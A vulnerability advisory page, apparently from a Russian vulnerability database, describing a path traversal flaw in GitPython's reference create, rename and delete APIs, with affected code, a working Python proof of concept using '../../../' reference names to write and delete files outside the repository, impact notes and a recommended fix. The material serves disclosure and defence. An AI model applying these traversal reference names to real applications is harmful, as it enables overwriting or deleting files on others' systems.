GHSA-7545-fcxq-7j24

Опубликовано: 06 мая 2026

Источник: github

Github: Прошло ревью

CVSS4: 7.8

CVSS3: 7.1

Описание

GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

📦 Affected Versions

Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

Affected Code

def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ...

@classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path)

def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

🧪 Proof of Concept

Setup

pip install GitPython==3.1.46 python poc.py

Exploit

import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result

repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False

💥 Impact

What can an attacker do?

Create or overwrite files outside the repository metadata directory
Delete attacker-chosen files reachable from the process permissions
Corrupt application state or configuration files
Cause denial of service by deleting or overwriting important files

Security Impact

Confidentiality: Low
Integrity: High
Availability: High

Who is affected?

Applications that expose GitPython reference operations to user-controlled input
Git automation services, repository management backends, CI/CD helpers, and developer platforms
Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix

Recommended Fix

def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target)

full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path)

Ссылки

Пакеты

Наименование

GitPython

pip

Затронутые версииВерсия исправления

<= 3.1.47

3.1.48

EPSS

Процентиль: 34%

0.00419

Низкий

7.8 High

CVSS4

7.1 High

CVSS3

CVE ID

CVE-2026-44243

Дефекты

CWE-22

Связанные уязвимости

CVE-2026-44243

CVSS3: 7.1

ubuntu

3 месяца назад

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

CVE-2026-44243

CVSS3: 6.3

redhat

3 месяца назад

CVE-2026-44243

CVSS3: 7.1

nvd

3 месяца назад

CVE-2026-44243

CVSS3: 7.1

debian

3 месяца назад

GitPython is a python library used to interact with Git repositories. ...

ROS-20260713-73-0046

CVSS3: 9.1

redos

20 дней назад

Уязвимость GitPython

EPSS

Процентиль: 34%

0.00419

Низкий

7.8 High

CVSS4

7.1 High

CVSS3

CVE ID

CVE-2026-44243

Дефекты

CWE-22